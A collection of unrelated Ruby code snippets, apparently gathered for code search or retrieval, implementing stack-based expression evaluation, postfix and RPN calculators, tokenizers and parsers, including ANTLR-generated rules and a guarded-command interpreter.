p.pairlist # get list from GCIf\n if l.length == 0\n cmdStack.unshift(GCSkip.new())\n else\n randval = rand(l.length) # get random value \n pair = l[randval]\n l.delete_at(randval) # remove statement from index randval\n \n # re-add broken down GCIf to command stakc\n cmdStack.unshift(GCIf.new(l)) # add remaining statements\n cmdStack.unshift(pair[1]) # add statement \n cmdStack.unshift(\"if\") # add if\n cmdStack.unshift(pair[0]) # add boolean guard\n i += 1\n end\n elsif cmdStack[0] == \"if\"\n b = resStack[0] # get the boolean that would have been evaluated from result stack\n if b == true \n s1 = cmdStack[1] # get the statement to be executed\n cmdStack = cmdStack.drop(3) # remove the if, s1 and remaining GCIf block \n resStack = resStack.drop(1) # remove that boolean check\n cmdStack.unshift(s1) #place the s1 value back on command stack\n else \n cmdStack = cmdStack.drop(2) # remove \"if\" and s1. The top element on stack should now be the remaining GCIf statements \n resStack = resStack.drop(1) # remove the boolean \n end\n\n # while loop\n # logic: get random statement from list and place it at top of command stack\n # check if the guard is true. If so then do that statement and repeat\n # if false, can either find another statement or do nothing\n # in this implementation, I will do nothing in the false case\n elsif cmdStack[0].is_a?(GCDo)\n #puts \"do\"\n w = cmdStack[0] # get Do statement off command stack\n #cmdStack = cmdStack.drop(1) # remove statement\n #cmdStack.unshift(GCDo.new(w.pairlist)) \n if w.pairlist.length == 0 # if no pairs, do nothing\n cmdStack.unshift(GCSkip.new())\n else\n randval = rand(w.pairlist.length) # get random value\n pair = w.pairlist[randval] # get random pair\n cmdStack = cmdStack.drop(1) # remove GCDo\n cmdStack.unshift(pair[1]) # add statement\n cmdStack.unshift(pair[0]) # add boolean check\n cmdStack.unshift(\"while\")\n cmdStack.unshift(pair[0]) # condition\n i += 1\n # command stack should look like [guard, \"while\", guard, statement, ...]\n end\n elsif cmdStack[0] == \"while\"\n # command stack will be in form [\"while\", guard, statement, ...]\n # resStack will be in form [true/false, ...]\n b = resStack[0] # check evaluated condition\n g = cmdStack[1] # guard\n s = cmdStack[2] # statement \n if b == true\n cmdStack.unshift(g) # place guard to front of stack\n cmdStack.unshift(s) # place statement to front of stack to be evaluated\n resStack = resStack.drop(1) # remove previously evaluated condition\n # new command stack will be in form [statement, guard, \"while\", guard, statement]\n else\n #puts \"while guard was false\"\n cmdStack.drop(3) #remove while, guard and statement from command stack\n cmdStack.unshift(GCSkip.new()) #end loop\n resStack = resStack.drop(1) # remove previously computed bool\n i += 1\n end\n else \n puts \"Invalid input\"\n break\n end\n end\n return memState \n\n end",
"def unshift(token); end",
"def do_back_quote s; a = mega_pop(s); b = mega_pop(s); b > a ? s[:stack].push(1) : s[:stack].push(0) end",
"def handle_parens_unary_minus(tokens)\n handled = []\n current_pos = 0\n minus_is_unary = true\n while current_pos < tokens.length\n# puts \"handled #{handled}, cp #{current_pos}, miu #{minus_is_unary}, tokens remain #{tokens[current_pos..-1]}\"\n case tokens[current_pos]\n when '('\n last_value, current_pos = eval_parens(tokens, current_pos)\n handled.push(last_value)\n minus_is_unary = false\n when '+', '-', '*', '/'\n if (minus_is_unary)\n minus_is_unary = false\n if tokens[current_pos] == '-'\n handled.push(-string_to_number(tokens[current_pos+1]))\n current_pos += 1\n else\n raise \"Oops, unexpected operator #{tokens[current_pos]}\"\n end\n else\n minus_is_unary = true\n handled.push(tokens[current_pos])\n end\n else\n handled.push(string_to_number(tokens[current_pos]))\n minus_is_unary = false\n end\n current_pos += 1\n end\n handled\nend",
"def build_parsing_tree\n buffer = [] #[[op, rExpr, lExpr], ...]\n @postfix_buffer.each{|s| buffer << (s.class == Array ? s : [s, buffer.pop, buffer.pop]) }\n return buffer.first\n end",
"def eval_parens(tokens, current_pos)\n paren_count = 1\n start_sub = current_pos + 1\n while paren_count != 0\n current_pos += 1\n case tokens[current_pos]\n when '('\n paren_count += 1\n when ')'\n paren_count -= 1\n end\n end\n return eval_tokens(tokens[start_sub...current_pos]), current_pos\nend",
"def evaluate_postfix(postfix_expression)\n stack = Stack.new\n \n i = 0\n while i < postfix_expression.length\n if postfix_expression[i].match(/[0-9]/)\n stack.push(postfix_expression[i].to_i)\n else\n case postfix_expression[i]\n when \"+\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 + num_2)\n when \"-\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 - num_2)\n when \"*\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 * num_2)\n when \"/\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 / num_2)\n end\n end\n i += 1\n end\n return stack.pop\nend",
"def _evaluate_input(stack, input)\n # Print out the state of the stack and input every time the recursive function is called.\n puts \"\\tStack: #{stack.inspect}\"\n puts \"\\tInput: #{input.inspect}\"\n puts \"\\t#{'_' * 80}\\n\\n\"\n\n # If both the stack and the input are both empty, then ACCEPT\n if stack.is_empty and input.is_empty\n puts \"\\n\\n\\tACCEPTED: Stack and input are empty.\\n\"\n return 'ACCEPT'\n end\n\n # If either the stack or the input is empty and the other one is not, REJECT\n if stack.is_empty and !input.is_empty\n puts \"\\n\\n\\tREJECTED: Stack is empty while the input is not!\\n\"\n return 'REJECT'\n end\n\n # Pop an element off the stack\n element = stack.pop!\n\n # If the popped element is a variable, peek at the next character in the input, then search for\n # element→next_character. The next rule found lives at that index. Push the right hand side of\n # that rule to the stack. If no rule is found, reject the string.\n if is_variable(element)\n # peek at the next character in the input\n next_character = input.peek\n\n # find the rule that has the next character in the input as the first character\n # on the right hand side of the relation.\n index = matching_rule(\"#{element}→#{next_character}\", cfg.relations)\n\n # If no rule was found, REJECT\n if index == nil\n puts \"\\n\\n\\tREJECTED: No matching rule was found\\n\"\n return 'REJECT'\n end\n\n # If the rule was found, then push the right hand side of that rule to the stack\n stack.push(cfg.relations[index][2..-1])\n\n # Call the function again on the CFG with the new stack.\n return _evaluate_input(stack, input)\n end\n\n # If a terminal was popped off the stack, first pop the next character from the input. If the\n # character popped off the stack does not match the character popped off the input, then REJECT.\n # Otherwise, call the function again on the modified CFG\n if is_terminal(element)\n\n #first pop the next character off the input\n next_character = input.pop!\n\n #if the next character is not the same as the terminal popped off the stack, REJECT\n if next_character != element\n puts \"\\n\\n\\tREJECTED: Next character in input does not match top of stack\\n\"\n return 'REJECT'\n end\n\n return _evaluate_input(stack, input)\n end\n\n puts \"\\n\\n\\tREJECTED: Item popped off stack is not in alphabet!\\n\"\n puts ' (CFG was malformed)'\n 'REJECT'\n end",
"def toPostfixExpression(infix)\n\t\tstack = []\n\t\tcount = 0\n\t\tinfix.each_char { |ch|\n\t\t\tif ch == ')'\n\t\t\t\tbuffer = []\n\t\t\t\tc = ''\n\t\t\t\twhile (c = stack.pop) != '('\n\t\t\t\t\tbuffer << c\n\t\t\t\tend\n\t\t\t\tstack << combine(buffer.reverse)\n\t\t\telse\n\t\t\t\tstack << ch\n\t\t\tend\n\n\t\t}\n\t\tstack[0]\n\n\tend",
"def evaluate_postfix(postfix_expression)\n operands = Set['+', '-', '*', '/'] # assume only these four operands for now\n stack = Stack.new # track operation results\n\n postfix_expression.each_char do |c| # assume expresion is valid\n if operands.include?(c) # is operand\n b = stack.pop # get second number pushed\n a = stack.pop # pop again for first number pushed\n\n new_top = 0\n\n # calculate new number to push into stack\n new_top += case c\n when '+' \n a + b\n when '-'\n a - b\n when '/'\n a / b\n when '*'\n a * b\n end\n\n stack.push(new_top) # add back to top of stack\n\n else # is number\n stack.push(c.to_i)\n end\n end\n\n return stack.pop\nend",
"def test_proper_stack\n stack = TokenStack.new\n stack.push('4')\n stack.push('3')\n stack.push('*')\n terp = Interpreter.new(false, true)\n\n result = terp.binary_operation(0, stack)\n assert_equal 12, result\n end",
"def postfix_evaluator(equation)\n stack = []\n for i in equation do\n if str_to_num(i)\n stack.push(str_to_num(i))\n puts stack\n elsif (\"+-*/\").include?(i)\n second_num = stack.pop\n if stack != []\n first_num = stack.pop\n result = math(i, first_num, second_num)\n stack.push(result)\n else\n raise \"Not enough arguments\"\n end\n else\n raise \"Invalid number\"\n end\n end\n stack.pop()\nend",
"def translate_tokens(tokens)\n return [] if tokens.nil?\n\n translated = []\n tokens = [tokens] unless tokens.is_a?(Array)\n\n tokens.each do |token|\n value = token[:value]\n\n result = case token[:node]\n\n # Rules and declarations.\n when :at_rule\n ['at-rule', token[:name], translate_tokens(token[:prelude]), token[:block] ? translate_tokens(token[:block]) : nil]\n\n when :qualified_rule\n ['qualified rule', translate_tokens(token[:prelude]), token[:block] ? translate_tokens(token[:block]) : nil]\n\n when :declaration\n ['declaration', token[:name], translate_tokens(value), token[:important]]\n\n # Component values.\n when :at_keyword\n ['at-keyword', value]\n\n when :bad_string\n ['error', 'bad-string']\n\n when :bad_url\n ['error', 'bad-url']\n\n when :cdc\n '-->'\n\n when :cdo\n '<!--'\n\n when :colon\n ':'\n\n when :column\n '||'\n\n when :comma\n ','\n\n when :dash_match\n '|='\n\n when :delim\n value\n\n when :dimension\n ['dimension', token[:repr], value, token[:type].to_s, token[:unit]]\n\n when :error\n ['error', value]\n\n when :function\n if token[:name]\n ['function', token[:name]].concat(translate_tokens(value))\n else\n ['function', value]\n end\n\n when :hash\n ['hash', value, token[:type].to_s]\n\n when :ident\n ['ident', value]\n\n when :include_match\n '~='\n\n when :number\n ['number', token[:repr], value, token[:type].to_s]\n\n when :percentage\n ['percentage', token[:repr], value, token[:type].to_s]\n\n when :prefix_match\n '^='\n\n when :semicolon\n ';'\n\n when :simple_block\n [token[:start] + token[:end]].concat(translate_tokens(value))\n\n when :string\n ['string', value]\n\n when :substring_match\n '*='\n\n when :suffix_match\n '$='\n\n when :unicode_range\n ['unicode-range', token[:start], token[:end]]\n\n when :url\n ['url', value]\n\n when :whitespace\n ' '\n\n when :'}', :']', :')'\n ['error', token[:node].to_s]\n\n else\n nil\n end\n\n translated << result unless result.nil?\n end\n\n translated\nend",
"def exch\n push *(stack.pop(2).reverse)\n end",
"def reverse(str)\n stack = Stack.new\n\n str.each_char do |char| \n stack.push(char)\n end\n\n new_string = \"\"\n\n while stack.read\n new_string += stack.pop\n end\n \n new_string\nend",
"def evaluate_postfix(postfix)\n postfix = postfix.gsub(\" \", \"\") # remove spaces and get a new string\n operands = Stack.new\n postfix.chars do |token|\n if not operator?(token)\n # operand, push to operand stack\n operands.push token.to_i\n else\n operand2 = operands.pop\n operand1 = operands.pop\n result = nil\n case token\n when \"+\"\n result = operand1 + operand2\n when \"-\"\n result = operand1 - operand2\n when \"*\"\n result = operand1 * operand2\n when \"/\"\n result = operand1 / operand2\n end\n operands.push result if result\n end\n end\n operands.pop # final result on the stack\n end",
"def eval_tokens(tokens)\n handle_plus_minus(handle_times_divide(handle_parens_unary_minus(tokens)))\nend",
"def evaluate(inputs=[], soft_fail=true)\n stack = Stack.new\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_f)\n elsif token.start_with? \"i\"\n if inputs.size == 0\n next if soft_fail\n raise \"Trying to use 'i' token with 0 inputs\"\n end\n # input:\n index = token[1..-1].to_i % inputs.size\n stack.push(inputs[index])\n elsif token == \"+\"\n next if soft_fail and stack.size < 2\n rhs = stack.pop\n lhs = stack.pop\n stack.push(lhs + rhs)\n elsif token == \"*\"\n next if soft_fail and stack.size < 2\n rhs = stack.pop\n lhs = stack.pop\n stack.push(lhs * rhs)\n elsif token == \"-\"\n next if soft_fail and stack.size < 2\n rhs = stack.pop\n lhs = stack.pop\n stack.push(lhs - rhs)\n elsif token == \"/\"\n next if soft_fail and stack.size < 2\n rhs = stack.pop\n lhs = stack.pop\n stack.push(lhs / rhs)\n elsif token == \"log\"\n next if soft_fail and stack.size < 1\n rhs = stack.pop\n stack.push(Math.log(rhs))\n elsif token == \"log10\"\n next if soft_fail and stack.size < 1\n rhs = stack.pop\n stack.push(Math.log10(rhs))\n elsif token == \"tanh\"\n next if soft_fail and stack.size < 1\n rhs = stack.pop\n stack.push(Math.tanh(rhs))\n else\n next if soft_fail\n raise \"Unknown token: #{token}\"\n end\n end\n stack.pop\n end",
"def parse(token)\n return parseExpression(token)\n end",
"def minilang(string)\n register = 0\n stack = []\n string.split.each do |command|\n case command\n when \"PUSH\" then stack << register\n when \"ADD\" then register += stack.pop\n when \"SUB\" then register -= stack.pop\n when \"MULT\" then register *= stack.pop\n when \"DIV\" then register /= stack.pop\n when \"MOD\" then register %= stack.pop\n when \"POP\" then register = stack.pop\n when \"PRINT\" then puts register\n else register = command.to_i\n end\n end\nend",
"def evalRPN(exp)\n begin\n expr = parseString(exp) # Parse expression into array\n\n stack = Stack.new # stack to keep track of operands\n\n # convert string to int or float\n case expr[0]\n when /\\.{1}/\n stack.push(atof(expr[0]))\n else\n stack.push(atoi(expr[0]))\n end\n\n for i in 1..expr.length\n\n # Addition - perform addition on previous two operands\n if expr[i] == '+' \n stack.push(calc stack.pop, stack.pop, &:+)\n\n # Subtraction - perform subtraction on previous two operands\n elsif expr[i] == '-'\n stack.push(calc stack.pop, stack.pop, &:-) \n\n # Division - perform division on previous two operands\n elsif expr[i] == '/'\n stack.push(calc (stack.pop/1.0), stack.pop, &:/)\n\n # Multiplication - perform mult on previous two operands\n elsif expr[i] == '*'\n stack.push(calc stack.pop, stack.pop, &:*)\n\n # Just a number -- add to stack\n else\n next if expr[i] == nil # dont add nil to stack\n\n case expr[i]\n when /\\.{1}/\n stack.push(atof(expr[i]))\n else\n stack.push(atoi(expr[i]))\n end\n end\n end\n\n # No operator provided\n raise NotEnoughException if stack.size != 1\n \n return stack.pop # Return answer\n\n rescue NotEnoughException => e\n abort(e.mes) # inform user of error\n end\n\nend",
"def to_rpn(tokens, rpn)\n (OPERATORS.keys + [/\\\\(\\w+)/, /(^[-=^~|@`+;*:<.>?!%&_]+$)/]).each do |pattern|\n idx, ope = if pattern.is_a? Regexp\n idx = tokens.index{|token| (token.is_a? String) && (m = pattern.match(token)) }\n [ idx, idx && $~[1] ]\n else\n [ tokens.index(pattern), pattern ]\n end\n if idx\n to_rpn(tokens[0...idx], rpn)\n to_rpn(tokens[(idx + 1)...tokens.size], rpn)\n rpn << ope\n return\n end\n end\n rpn << tokens[0]\n end",
"def minilang(str)\n register = 0\n stack = []\n\n str.split.each do |el|\n case \n when el == 'ADD' then register += stack.pop\n when el == 'SUB' then register -= stack.pop\n when el == 'MULT' then register *= stack.pop\n when el == 'DIV' then register /= stack.pop \n when el == 'MOD' then register %= stack.pop \n when el == 'PUSH' then stack.push(register)\n when el == 'POP' then register = stack.pop \n when el == 'PRINT' then puts register \n else register = el.to_i\n end\n end\nend",
"def infix_to_postfix(infix)\n infix = infix.gsub(\" \", \"\")\n symstack = Stack.new\n postfix = \"\"\n infix.chars do |token|\n case \n when operand?(token)\n postfix += token\n when symbol?(token)\n case\n when token == \"(\"\n symstack.push token\n when token == \")\"\n while not symstack.empty? and symstack.peek != \"(\"\n postfix += symstack.pop\n end\n symstack.pop # once more to remove the left paren\n when operator?(token)\n # new operator needs to be pushed on the symstack\n # but first we add to output the ones with equal or higher precedence\n # taking care of keeping left parens on the stack\n while ( not symstack.empty? and\n operator?(symstack.peek) and\n higher_or_equal_precedence?(symstack.peek,token)\n )\n postfix += symstack.pop\n end\n symstack.push(token)\n end\n end\n end\n # empty the symstack of remaining operators\n while not symstack.empty?\n postfix += symstack.pop\n end\n postfix\n end",
"def parse(tokens)\n if tokens.length == 1\n tokens[0]\n elsif tokens.length > 2\n [\n tokens[1],\n [ tokens[0], parse(tokens[2..-1]) ]\n ]\n else\n raise RuntimeError, \"Fucked Tokens\"\n end\n end",
"def get_token\n return nil if @token_index >= @arguments.size\n\n begin\n case chr(@arguments[@token_index])\n when \"[\"\n return \"statement\", gen_substatement\n\n when \"]\"\n return \"]\"\n\n when \"(\"\n return \"(\", \"(\"\n\n when \")\"\n return \")\", \")\"\n\n when \"n\"\n if (chr(@arguments[@token_index + 1]) == \"o\") && (chr(@arguments[@token_index + 2]) == \"t\") && ((chr(@arguments[@token_index + 3]) == \" \") || (chr(@arguments[@token_index + 3]) == \"(\"))\n @token_index += 2\n return \"not\", \"not\"\n else\n gen_statement\n end\n\n when \"!\"\n return \"not\", \"not\"\n\n when \"a\"\n if (chr(@arguments[@token_index + 1]) == \"n\") && (chr(@arguments[@token_index + 2]) == \"d\") && ((chr(@arguments[@token_index + 3]) == \" \") || (chr(@arguments[@token_index + 3]) == \"(\"))\n @token_index += 2\n return \"and\", \"and\"\n else\n gen_statement\n end\n\n when \"&\"\n if chr(@arguments[@token_index + 1]) == \"&\"\n @token_index += 1\n return \"and\", \"and\"\n else\n gen_statement\n end\n\n when \"o\"\n if (chr(@arguments[@token_index + 1]) == \"r\") && ((chr(@arguments[@token_index + 2]) == \" \") || (chr(@arguments[@token_index + 2]) == \"(\"))\n @token_index += 1\n return \"or\", \"or\"\n else\n gen_statement\n end\n\n when \"|\"\n if chr(@arguments[@token_index + 1]) == \"|\"\n @token_index += 1\n return \"or\", \"or\"\n else\n gen_statement\n end\n\n when \"+\"\n value = \"\"\n i = @token_index + 1\n\n begin\n value += chr(@arguments[i])\n i += 1\n end until (i >= @arguments.size) || (chr(@arguments[i]) =~ /\\s|\\)/)\n\n @token_index = i - 1\n return \"+\", value\n\n when \"-\"\n value = \"\"\n i = @token_index + 1\n\n begin\n value += chr(@arguments[i])\n i += 1\n end until (i >= @arguments.size) || (chr(@arguments[i]) =~ /\\s|\\)/)\n\n @token_index = i - 1\n return \"-\", value\n\n when \" \"\n return \" \", \" \"\n\n else\n gen_statement\n end\n end\n rescue NoMethodError\n raise \"Error. Expression cannot be parsed.\"\n end",
"def expressions_from_iseq(bytecodes, locals)\n bytecodes.reduce([]) do |stack, inst|\n puts \"INST: #{inst}\"\n # annoyingly, labels have have their own format\n # UGGGGLY, TODO: refactor\n if inst.is_a?(Symbol) && inst.to_s =~ /^label/\n if ih = self.half_pop_if(inst, stack)\n stack << ih\n elsif iff = self.pop_if(inst, stack)\n stack << iff \n else \n stack << Label.new(inst)\n end\n\n next stack\n elsif inst.is_a?(Fixnum)\n # TODO: What's with the plain numbers?\n next stack\n end\n\n case inst[0]\n # TODO\n when :throw \n # TODO?\n when :trace, :pop, :putnil, :leave\n \n when :branchunless\n test = stack.pop\n if_hole = IfHole.new(test, inst[1], nil, nil, nil)\n stack << if_hole\n when :branchif\n stack << self.pop_while(inst, stack)\n when :jump\n stack << Jump.new(inst[1])\n\n when :putobject_OP_INT2FIX_O_0_C_ \n stack << Literal.new(0)\n when :putobject_OP_INT2FIX_O_1_C_ \n stack << Literal.new(1)\n when :putobject\n stack << Literal.new(inst[1])\n when :putstring\n stack << Literal.new(inst[1])\n when :putself\n stack << Self.new\n when :newarray\n stack << self.pop_array(inst[1], stack)\n when :duparrray\n stack << ArrayLiteral.new(inst[1].map{ |v| Literal.new(v)})\n\n when :getlocal\n stack << self.get_local(inst[2], inst[1])\n when :getlocal_OP__WC__1\n stack << self.get_local(1, inst[1])\n when :getlocal_OP__WC__0\n stack << self.get_local(0, inst[1])\n\n when :setlocal\n stack << self.pop_assignment(inst[2], inst[1], stack)\n when :setlocal_OP__WC__1\n stack << self.pop_assignment(1, inst[1], stack)\n when :setlocal_OP__WC__0\n stack << self.pop_assignment(0, inst[1], stack)\n\n when :send\n stack << self.pop_expression(inst[1], stack)\n when :opt_send_simple\n stack << self.pop_expression(inst[1], stack)\n when :opt_lt\n stack << self.pop_expression(inst[1], stack)\n when :opt_le\n stack << self.pop_expression(inst[1], stack)\n when :opt_plus\n stack << self.pop_expression(inst[1], stack)\n # TODO: The other opts and sends\n else\n puts \"UNKNOWN\"\n end\n\n stack\n end\n end",
"def _lex_trans_targs; end",
"def _lex_trans_targs; end",
"def _lex_trans_targs; end",
"def _lex_trans_targs; end",
"def stack(*args); end",
"def read_the_tokens(tokens)\n\tif tokens.length == 0\n\t\traise \"unexpected end of file\"\n\tend\n\t\n\ttoken = tokens.shift\n\n\tif token == \"(\"\n\t\tlist = []\n\t\twhile tokens[0] != \")\"\n\t\t\t#group all the subexpressions in the list!\n\t\t\tlist << read_the_tokens(tokens)\n\t\tend\n\t\ttokens.shift #this is to shift the closing braces\n\t\treturn list\n\telsif token == \")\"\n\t\traise \"unexpected closing braces\"\n\telse\n\t\tconverted_atom = atom(token)\n\t\treturn converted_atom \n\tend\nend",
"def to_postfix(infix_expr)\n @op_stack = Array.new\n @context_stack = [@op_stack]\n @is_first = true\n\n @postfix_expr = Array.new\n infix_expr.each { |t| eval_token(t) }\n\n check_unclosed_bracket\n @postfix_expr + @op_stack.reverse\n end",
"def clean_stack(stack)\n open_stack,keep=[],{}\n stack.each do |elt|\n if elt[1]==1\n open_stack << elt\n else\n if open_stack.empty?\n ##too many closed delimiters\n else\n keep[elt]=true\n keep[open_stack.pop]=true\n end\n end\n end\n=begin\n if Dyndoc.cfg_dir[:debug]\n tmp=stack.select{|elt| !keep[elt]}.select{|e| @tag_type==:call and e[2] and e[1]==1 and e[2]!='{'}\n begin p @txt;p tmp end unless tmp.empty?\n end\n=end\n stack.select{|elt| keep[elt]}\n end",
"def parse(tokens)\n input = []\n tokens.map { |e| input << e.rule.name }\n input << Grammar::END_SYM\n stack = [ Grammar::END_SYM, @grammar.start_symbol ]\n table = Terminal::Table.new do |t|\n t << ['Input', 'Stack', 'Action']\n t.add_separator\n row = [input.join(' '), stack.reverse.join(' ')]\n while stack[-1] != Grammar::END_SYM\n if stack[-1] == input[0]\n row << stack.pop.to_s\n input.shift\n elsif @grammar.terminals.include?(stack[-1])\n SodaLogger.fail(\"Parsing error, tried to pop the terminal #{stack[-1]}\")\n elsif @table[stack[-1]][input[0]].nil?\n SodaLogger.fail(\"Parsing error, unexpected token #{input[0]}\")\n else\n aux = stack.pop\n @table[aux][input[0]].rhs.reverse_each { |sym| stack << sym }\n row << @table[aux][input[0]].to_s\n end\n t << row\n row = [input.join(' '), stack.reverse.join(' ')]\n end\n t << [input.join(' '), stack.join(' '), '']\n end\n puts \"Parse Table:\\n\" + table.to_s if ENV['SODA_DEBUG']\n end",
"def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n __COMPARITIONOPERATORS10__ = nil\n\n begin\n # at line 705:5: exp ( COMPARITIONOPERATORS exp )?\n @state.following.push( TOKENS_FOLLOWING_exp_IN_expression_1070 )\n exp\n @state.following.pop\n # at line 705:9: ( COMPARITIONOPERATORS exp )?\n alt_26 = 2\n look_26_0 = @input.peek( 1 )\n\n if ( look_26_0 == COMPARITIONOPERATORS )\n alt_26 = 1\n end\n case alt_26\n when 1\n # at line 705:10: COMPARITIONOPERATORS exp\n __COMPARITIONOPERATORS10__ = match( COMPARITIONOPERATORS, TOKENS_FOLLOWING_COMPARITIONOPERATORS_IN_expression_1073 )\n # --> action\n #Regla 8\n \t @stack_operators.push(__COMPARITIONOPERATORS10__.text)\n \t \n # <-- action\n @state.following.push( TOKENS_FOLLOWING_exp_IN_expression_1087 )\n exp\n @state.following.pop\n # --> action\n #Regla 9\n \t\t operator = @stack_operators.pop\n \t\t operand_b = @stack_operands.pop\n \t\t operand_a = @stack_operands.pop\n \t\t result = get_avail\n \t\t generate(operator, operand_a, operand_b, result)\n \t\t free_avail(operand_a)\n \t\t free_avail(operand_b)\n \t\t free_avail_const(operand_a)\n \t\t free_avail_const(operand_b)\n \t\t @stack_operands.push(result)\n \t\t @stack_types.push(resulting_type(@stack_types.pop, @stack_types.pop, operator))\n \t \n # <-- action\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n end\n \n return \n end",
"def reg_reverse(node)\n case node\n when AST::Sequence\n right = reg_reverse(node.right)\n left = reg_reverse(node.left)\n AST::Sequence.new(right, left)\n when AST::Or\n right = reg_reverse(node.right)\n left = reg_reverse(node.left)\n AST::Or.new(left, right)\n when AST::Repeatition\n reg = reg_reverse(node.regex)\n AST::Repeatition.new(reg, node.type)\n when AST::Leaf\n node\n end\n end",
"def evaluate(ex)\n @stack=[]\n @expr.each do |el|\n case el\n when HopExprVar\n # evaluate variable\n var,dot,field=el.value.partition('.')\n if field==''\n # scalar\n val=VarStor.getScalar(ex,el.value)\n else\n # cortege field\n begin\n val=VarStor.getCortege(ex,var)[field]\n rescue\n warn \">> Opppps: #{var}.#{field}\"\n nil\n end\n end\n @stack.push val\n\n when Numeric, String\n # constant\n @stack.push el\n\n when HopExprOp\n case el.value\n when '+'\n [email protected]\n [email protected]\n warn \">>PLUS: #{a1},#{a2}\"\n raise SyntaxErrHopError if a2.nil?\n @stack.push a1.to_f+a2.to_f\n when '*'\n [email protected]\n [email protected]\n raise SyntaxErrHopError if a2.nil?\n @stack.push a1.to_f*a2.to_f\n when '-'\n [email protected]\n [email protected]\n warn \">>MINUS: #{a1},#{a2}\"\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f-a1.to_f\n when '/'\n [email protected]\n [email protected]\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f/a1.to_f\n when '%'\n [email protected]\n [email protected]\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f%a1.to_f\n else\n raise SyntaxErrHopError\n end\n end #~case\n end # ~each expression\n raise SyntaxErrHopError.new(@expr.to_s+' ('[email protected]_s+')') if @stack.size>1\n\n return @stack.pop\n end",
"def return_result(stack_bottom)\n\n count = stack_top - stack_bottom\n\n return nil if count == 0\n return stack_pop if count == 1\n\n (1..count).collect { |pos| stack_pop }.reverse\n end",
"def cur_token_precedence\n filtered = @infix_parsers.select{|key, val| key.call @current_token}\n return 0 if filtered.size == 0\n _, contents = filtered.first\n contents[0]\n end",
"def unparse(sexp)\n Ruby2Ruby.new.process(sexp.deep_clone)\n end",
"def eval\n return @value unless @value.nil?\n \n debug \"\\nfor RPN expression: #{expression}\\nTerm\\tAction\\tStack\"\n stack = []\n expression.split.each do |term|\n if Operators.has_key?(term)\n a, b = stack.pop(2)\n raise ArgumentError, \"not enough operands on the stack\" if b.nil?\n a = a.to_f if term == \"/\"\n op = (term == \"^\" ? \"**\" : term)\n stack.push(a.method(op).call(b))\n debug \"#{term}\\t#{Operators[term].english}\\t#{stack}\"\n else\n begin\n number = Integer(term) rescue Float(term)\n rescue ArgumentError\n raise ArgumentError, \"cannot handle term: #{term}\"\n end\n stack.push(number)\n debug \"#{number}\\tPUSH\\t#{stack}\"\n end\n end\n @value = stack.pop\n debug \"Value = #@value\"\n @value\n end",
"def minilang(str)\n stack = []\n register = 0\n\n str.split.each do |char|\n case char\n when 'PUSH' then stack.push(register)\n when 'ADD' then register += stack.pop\n when 'SUB' then register -= stack.pop\n when 'MULT' then register *= stack.pop\n when 'DIV' then register /= stack.pop\n when 'MOD' then register %= stack.pop\n when 'POP' then register += stack.shift\n when 'PRINT' then puts register\n else register = char.to_i\n end\n end\nend",
"def unary\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 60 )\n return_value = UnaryReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal272 = nil\n string_literal274 = nil\n string_literal276 = nil\n string_literal278 = nil\n string_literal280 = nil\n string_literal282 = nil\n string_literal284 = nil\n char_literal286 = nil\n char_literal288 = nil\n char_literal290 = nil\n char_literal292 = nil\n unary273 = nil\n unary275 = nil\n unary277 = nil\n unary279 = nil\n unary281 = nil\n unary283 = nil\n unary285 = nil\n unary287 = nil\n unary289 = nil\n unary291 = nil\n unary293 = nil\n postfix294 = nil\n\n tree_for_string_literal272 = nil\n tree_for_string_literal274 = nil\n tree_for_string_literal276 = nil\n tree_for_string_literal278 = nil\n tree_for_string_literal280 = nil\n tree_for_string_literal282 = nil\n tree_for_string_literal284 = nil\n tree_for_char_literal286 = nil\n tree_for_char_literal288 = nil\n tree_for_char_literal290 = nil\n tree_for_char_literal292 = nil\n stream_DECR = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token DECR\" )\n stream_PLUS = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token PLUS\" )\n stream_IS_DEFINED = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token IS_DEFINED\" )\n stream_VOID = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token VOID\" )\n stream_DELETE = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token DELETE\" )\n stream_NOT = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token NOT\" )\n stream_MINUS = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token MINUS\" )\n stream_INCR = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token INCR\" )\n stream_TYPEOF = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token TYPEOF\" )\n stream_IS_UNDEFINED = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token IS_UNDEFINED\" )\n stream_TILDE = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token TILDE\" )\n stream_unary = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule unary\" )\n stream_postfix = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule postfix\" )\n begin\n # at line 634:3: ( 'delete' unary -> ^( 'delete' unary ) | 'void' unary -> ^( 'void' unary ) | 'typeof' unary -> ^( 'typeof' unary ) | 'defined?' unary -> ^( 'defined?' unary ) | 'undefined?' unary -> ^( 'undefined?' unary ) | '++' unary -> ^( '++' unary ) | '--' unary -> ^( '--' unary ) | '+' unary -> ^( UPLUS[ '+' ] unary ) | '-' unary -> ^( UMINUS[ '-' ] unary ) | '~' unary -> ^( '~' unary ) | '!' unary -> ^( '!' unary ) | postfix -> postfix )\n alt_67 = 12\n alt_67 